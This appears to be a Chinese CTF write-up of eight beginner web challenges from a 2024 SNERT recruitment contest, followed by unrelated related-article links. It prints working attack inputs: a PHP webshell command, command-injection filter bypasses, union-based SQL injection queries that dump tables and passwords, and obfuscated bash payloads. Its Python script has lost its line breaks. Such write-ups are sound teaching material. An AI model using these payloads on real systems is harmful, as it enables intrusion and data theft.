2024 SNERT 预备队招新 CTF 体验赛-Web
目录
1、robots
2、NOF12
3、get_post
4、好事慢磨
5、uploads
6、rce
7、ezsql
8、RCE
1、robots
robots 协议又叫爬虫协议,访问 robots.txt
继续访问 /JAY.php
拿到 flag:flag{hello_Do_YOU_KONw_JAY!}
2、NOF12
F12 和右键都被禁用
方法(1)
通过浏览器点击打开开发人员工具
源码里看到 flag:flag{wellcome_TO_CTF!!!}
方法(2)
提前打开 F12
再访问进入题目地址
3、get_post
基本的 get 和 post 传参方式,payload:
?a=helloctf
post:b=666
两次 base64 解码
拿到 flag:flag{hello!!!it_so_easy}
4、好事慢磨
简单测试一下可以发现 flag 一共有 300 位
F12 在源码里看到 post 请求参数名为 hacker
试一下,确实可以正常回显
用 python 写个脚本跑就可以了
exp:
# @author:Myon
# @time:20240828
import requests
import reurl = 'http://snert.net.cn:10001/'
out = ''
for i in range(300):payload = {'hacker': f'{i}'}# print(payload)res = requests.post(url, data=payload)# print(res.text)match = re.search(r':(.+)', res.text) # 匹配冒号后面的所有字符out += match.group(1)print(out)
拿到 flag:
flag{pa2hpl-pkfwbv42tnvv-qeviypz7z4xorksoo95so-9uv3m5jxq5mbhm154wjl3068eo-3985u36ahbqj7my1d7bv2ld2avi63utr5n3vga6dlgfnxjy-jzzvine7hx6mtl668v2cp9z46zem696rnkvw174couqof1e7d82hwutf-cfwayhsyebppztvmrgmo7dl1qf-dewym0i4y4v8kvd1cn1v1oqlqxbeqz5t1mt2kburhafuivsz7khbvcum-xbne6rgi9losgjii-3bqou8l7j5zjm264h9z}
5、uploads
没有任何过滤,直接传一句话木马
调用,在上一层目录看到 flag.php
cmd=system('ls ../');
读取:
cmd=system('tac ../f*');
拿到 flag:flag{BDQLKdC6yDJ2DxphWzJrWDjQsHnHTZ3s}
6、rce
代码审计:
post 传入 a,如果传入的内容里面有 cat 或者 flag,都会被替换为空,之后输出替换后剩下的内容,再将其传给 system 函数作为参数进行调用,输出返回的结果。
先看一下当前目录下有什么:
a=ls
有一个叫 flag.php 的东西,注意这里有点容易看错,我一开始看成了 lsflag.php,其实前面的 ls 是我们执行的命令被 echo 输出了,所有真正的文件名应该是 flag.php。
方法(1):换一个读取命令,不使用 cat,结合通配绕过
payload:
a=tac f*
拿到 flag:flag{TTBnmqQa3cX0Hg6D522Y2Y7Pn3PZtog4}
当然还有很多其他的命令可以用,比如反向输出,问号进行通配等:
a=rev fla?.???
方法(2):双写绕过
a=cacatt flaflagg.php
替换掉其中的 cat 和 flag 剩下的就是 cat flag.php
查看源代码即可看到 flag
7、ezsql
查询 Alex
返回 ID: 1 - Name: Alex - Password: Alex_123
如果你查我的名字其实可以得到一个小提示
就是没有任何过滤的 sql 注入,关于 sqlmap 跑的我就不演示了,下面简单说一下手动注入的流程。
输入单引号报错:如果是萌新会很不理解为什么要这样为什么会报错,正如我提示里面所说,先去了解 sql 注入的原理吧。
使用 # 注释掉后面内容,闭合成功
由前面 Alex 的查询结果回显可以推断字段数为 3
直接查数据库下的所有表名:
' union select 1,2,table_name from information_schema.tables where table_schema=database()#
可以看到存在一个名为 googthings 的表,查该表下的列名:
' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='goodthings'#
列名也是 username 和 password
正如一开始题目所说,密码里面藏着东西,那么这里其实都不用查列名,直接查 goodthings
这个表下面的 password 列的内容即可:
' union select 1,2,password from goodthings #
拿到 flag:flag{war6m9-gyn6rl6q8ik1qp-pe4eqttoos7tl6o-dvxm9jmt3pk}
8、RCE
限制死了只能使用这些字符:{(FAST:HIP)}$~
出这道题的想法来源于我之前刷到过的两个题,一个是 Linux 内置环境变量
参考我之前的博客:
ctfshow-web入门-命令执行(web118详解)Linux 内置变量与Bash切片_web 118 ctfshow-CSDN博客https://blog.csdn.net/Myon5/article/details/140145005
光有 Linux 内置环境变量还不够,我们还需要用到切片操作,因此还需要构造数字,同样参考我之前的博客:web57
ctfshow-web入门-命令执行(web56、web57、web58)_ctfshow web57-CSDN博客https://blog.csdn.net/Myon5/article/details/139746224
这里我们利用上述字符可以构造出 $PATH
这个东西的前面部分基本上都是一样的:
即:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
所以这里默认这部分是我们已知的,我们利用切片操作就可以构造出 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 里面的任意一个字符,进而我们就可以继续构造 ls、nl 等命令,空格我们使用 ${IFS} 代替。
详细看完我前两篇博客所说的内容,你就会真正理解 payload 是如何构造的。
构造 payload 读取根目录下面的文件:
ls /
即
嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}
未见 flag 文件,但是存在一个名为 burn 的文件,这个文件名在根目录下是不常见的,结合 php 源码勇师傅有注释说:# flag被我烧掉了,burn 就是燃烧的意思。
构造 payload 读取这个文件:
nl /burn
即
嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}
拿到 flag:flag{r18s4bcp-ctvmmijn6a2g7-pnbrwudl}
这个题算是勇师傅最后弄的一个压轴题吧,不压一下第一天上午 web 就全穿了,除了这道,这次的 web 题都出的非常简单和基础,最后,期待大一大二的加入 SNERT 学习!
相关文章:

2024 SNERT 预备队招新 CTF 体验赛-Web
目录 1、robots 2、NOF12 3、get_post 4、好事慢磨 5、uploads 6、rce 7、ezsql 8、RCE 1、robots robots 协议又叫爬虫协议,访问 robots.txt 继续访问 /JAY.php 拿到 flag:flag{hello_Do_YOU_KONw_JAY!} 2、NOF12 F12 和右键都被禁用 方法&#…...

亲测全网10大“免费”论文降重神器!论文写作必备!
在当今学术研究和论文写作中,AI技术的应用已经变得越来越普遍。为了帮助学者们更高效地完成论文撰写任务,以下将详细介绍十款必备的论文写作工具,其中特别推荐千笔-AIPassPaper。 1. 千笔-AIPassPaper 千笔-AIPassPaper是一款基于深度学习和…...

二分算法——优选算法
个人主页:敲上瘾-CSDN博客 个人专栏:游戏、数据结构、c语言基础、c学习、算法 本章我们来学习的是二分查找算法,二分算法的应用非常广泛,不仅限于数组查找,还可以用于解决各种搜索问题、查找极值问题等。在数据结构和算…...

Kafka 的基本概念
一、Kafka 主要用来做什么 作为消息系统:Kafka 具备系统解藕,流量削峰,缓冲,异步通信,扩展性,可恢复性等功能,以及消息顺序性保障和回溯消费 作为存储系统:Kafka 把消息持久化到磁…...

《粮油与饲料科技》是什么级别的期刊?是正规期刊吗?能评职称吗?
问题解答 问:《粮油与饲料科技》是不是核心期刊? 答:不是,是知网收录的第一批认定 学术期刊。 问:《粮油与饲料科技》级别? 答:省级。主管单位:中文天地出版传媒集团股份有限公司…...

Python之一些列表的练习题
1.比较和对比字符串、列表和元组。例如,它们可以容纳哪类内容以及在数据结构上可以做哪些操作。 1. 内容类型:- 字符串: 只能包含字符(文本)。- 列表: 可以包含任意类型的数据,如数字、字符串、其他列表等。- 元组: 可以包含任意类型的数据,与列表类似。3. 操作:(1…...

MoFA: 迈向AIOS
再一次向朋友们致以中秋的祝福! MoFA (Modular Framework for Agents)是一个独特的模块化AI智能体框架。MoFA以组合(Composition)的逻辑和编程(Programmable)的方法构建AI智能体。开发者通过模版的继承、编程、定制智能体…...

c语言中define使用方法
在C语言中,#define指令是预处理指令,用于定义宏。其常用格式是: 定义常量: #define 常量名 常量值 例子: #define PI 3.14159 #define MAX_SIZE 100 这里,PI和MAX_SIZE在代码中会被替换为其对应的值。没有…...

尚品汇-秒杀商品定时任务存入缓存、Redis发布订阅实现状态位(五十一)
目录: (1)秒杀业务分析 (2)搭建秒杀模块 (3)秒杀商品导入缓存 (4)redis发布与订阅实现 (1)秒杀业务分析 需求分析 所谓“秒杀”࿰…...

第十一章 【后端】商品分类管理微服务(11.4)——spring-boot-devtools
11.4 spring-boot-devtools 官网:https://docs.spring.io/spring-boot/reference/using/devtools.html Spring Boot DevTools 是 Spring Boot 提供的一组易于使用的工具,旨在加速开发和测试过程。它通过提供一系列实用的功能,如自动重启、实时属性更新、依赖项的热替换等,…...

MySQL篇(索引)(持续更新迭代)
目录 一、简介 二、有无索引情况 1. 无索引情况 2. 有索引情况 3. 优劣势 三、索引结构 1. 简介 2. 存储引擎对于索引结构的支持情况 3. 为什么InnoDB默认的索引结构是Btree而不是其它树 3.1. 二叉树(BinaryTree) 3.2. 红黑树(RB&a…...

通用接口开放平台设计与实现——(31)API服务线程安全问题确认与修复
背景 在本系列的前面一篇博客评论中,有小伙伴指出,API服务存在线程安全问题: https://blog.csdn.net/seawaving/article/details/122905199#comments_34477405 今天来确认下,线程是否安全?如不安全,如何…...

2011-2022年数字金融与企业ESG表现:效应、机制与“漂绿”检验(内含原始数据+处理代码)
2011-2022年数字金融与企业ESG表现:效应、机制与“漂绿”检验(内含原始数据处理代码) 1、时间:2011-2022年 2、来源:上市公司年报、华证ESG、北大数字普惠金融 3、指标:年份、股票代码、股票简称、行业名…...

mysql配置相关命令
一、允许所有人访问: -- 1.切换至mysql库 use mysql;-- 2.查看用户表 SELECT Host,User FROM user;-- 3.修改字段 UPDATE user SET Host % WHERE User root;-- 4.刷新权限 flush privileges;二、修改加密方式 -- 1.切换至mysql库 use mysql;-- 2.查看用户表 SELEC…...

【自用软件】IDM下载器 Internet Download Manager v6.42 Build 10
下载IDM&pj安装教程 Internet Download Manager,简称 IDM,是国外的一款优秀下载工具。目前凭借着下载计算的速度优势在外媒网站中均受好评,现在已被多数国人熟知。Internet Download Manager 提升你的下载速度最多达5倍,安排下…...

Kafka集群扩容(新增一台kafka节点)
kafka集群扩容、kafka topic迁移 现有环境 IP组件角色192.168.17.51kafka01broker1192.168.17.52kafka02broker2192.168.17.53kafka03broker3 扩容之后环境 IP组件角色192.168.17.51kafka01broker1192.168.17.52kafka02broker2192.168.17.53kafka03broker3192.168.17.54ka…...

作文笔记15 点面结合
事件中场面写作方法:点面结合(对毛主席的描写和三十万群众的描写间插进行)。好处是强化描写的层次感,既有整体形象描写,又凸显人物个性特点。 景色描写方法:动态描写,静态描写,动静…...

Spring Boot-国际化(I18N)问题
Spring Boot 国际化(I18N)问题及其解决方案 1. 引言 随着全球化的推进,软件开发中的国际化(I18N)需求日益增长。国际化是指通过设计应用程序,使其能够轻松适应不同语言和地区的需求,而无需修改…...

8. 防火墙
8. 防火墙 (1) 防火墙的类型和结构 防火墙的类型和结构可以根据其在网络协议栈中的过滤层次和实现方式进行分类。常见的防火墙类型包括: 包过滤防火墙:工作在网络层(OSI模型的第3层),主要检查IP包头的信息,如源地址、目的地址、端口号等。电路级网关防火墙:工作在会话层…...

C语言循环学习
作为初学者,学习C语言中的循环结构是非常重要的,它们能让你轻松地重复执行代码。在C语言中,常用的循环结构主要有for循环和while循环。我们将从基本概念开始,逐步讲解如何使用这两种循环,并通过示例帮助你理解和练习。…...

职业技能大赛-自动化测试笔记(Unitest)分享-3
前言 UnitTest是Python标准库中的一个模块,用于编写和执行单元测试。它提供了一组断言方法,用于验证代码的输出和状态是否符合预期。通过UnitTest框架,我们可以编写可重复执行的测试用例,并使用命令行工具或IDE轻松运行这些测试。在大多数情况下,UnitTest框架已经包含在Py…...

rocky9.2的lvs的NAT模式下的基本使用的详细示例
文章目录 前言什么是LVS?(Linux Virtual Server)LVS的组成1. 负载均衡器(Load Balancer)2. 后端服务器池(Real Servers)3. IPVS(IP Virtual Server)4. 调度算法(Schedul…...

AI健身之俯卧撑计数和姿态矫正-角度估计
在本项目中,实现了Yolov7-Pose用于人体姿态估计。以下是如何在Windows 11操作系统上设置和运行该项目的详细步骤。 环境准备 首先,确保您的计算机已经安装了Anaconda。Anaconda是一个开源的Python发行版本,它包含了conda、Python以及众多科…...

Java ETL - Apache Beam 简介
基本介绍 Apache Beam是一个用于大数据处理的开源统一编程模型。它允许用户编写一次代码,然后在多个批处理和流处理引擎上运行,如Apache Flink、Apache Spark和Google Cloud Dataflow等。Apache Beam提供了一种简单且高效的方式来实现数据处理管道&…...

使用 Fairseq 进行音频预训练:Train a wav2vec 2.0 base model配置与实现
使用 Fairseq 进行音频预训练:配置与实现 简介 随着深度学习技术的不断发展,音频预训练在语音识别和自然语言处理领域取得了显著进展。Fairseq 是由 Facebook AI Research 开发的开源序列建模工具包,广泛应用于各种自然语言处理任务,包括音频预训练。本文将介绍如何使用 …...

全面详尽的 PHP 环境搭建教程
目录 目录 PHP 环境搭建概述 在 Windows 上搭建 PHP 环境 使用集成环境 XAMPP 安装步骤 配置和测试 常用配置 手动安装 Apache、PHP 和 MySQL 安装 Apache 安装 PHP 安装 MySQL 配置 PHP 连接 MySQL 在 Linux 上搭建 PHP 环境 使用 LAMP 方案 安装 Apache 安装 …...

fiddler抓包06_抓取https请求(chrome)
课程大纲 首次安装Fiddler,抓https请求,除打开抓包功能(F12)还需要: ① Fiddler开启https抓包 ② Fiddler导出证书; ③ 浏览器导入证书。 否则,无法访问https网站(如下图࿰…...

【在Linux世界中追寻伟大的One Piece】网络命令|验证UDP
目录 1 -> Ping命令 2 -> Netstat命令 3 -> Pidof命令 4 -> 验证UDP-Windows作为client访问Linux 4.1 -> UDP client样例 1 -> Ping命令 Ping命令是一种网络诊断工具,它使用ICMP(Internet Control Message Protocol,互联网控制消…...

qt-C++笔记之Q_DECLARE_METATYPE和qRegisterMetaType
qt-C笔记之Q_DECLARE_METATYPE和qRegisterMetaType code review! 文章目录 qt-C笔记之Q_DECLARE_METATYPE和qRegisterMetaType一.Q_DECLARE_METATYPE使用方法应用场景 二.为什么需要注册类型?三.使用 Q_DECLARE_METATYPE 处理自定义类型的简短示例3.1.自定义类型定…...

Shader 中的光源
1、Shader 开发中常用的光源属性 Unity当中一共支持四种光源类型: 平行光(Directional)点光源(Point)聚光灯(Spot)面光源(Area)— 面光源仅在烘焙时有用 不管光源类型到…...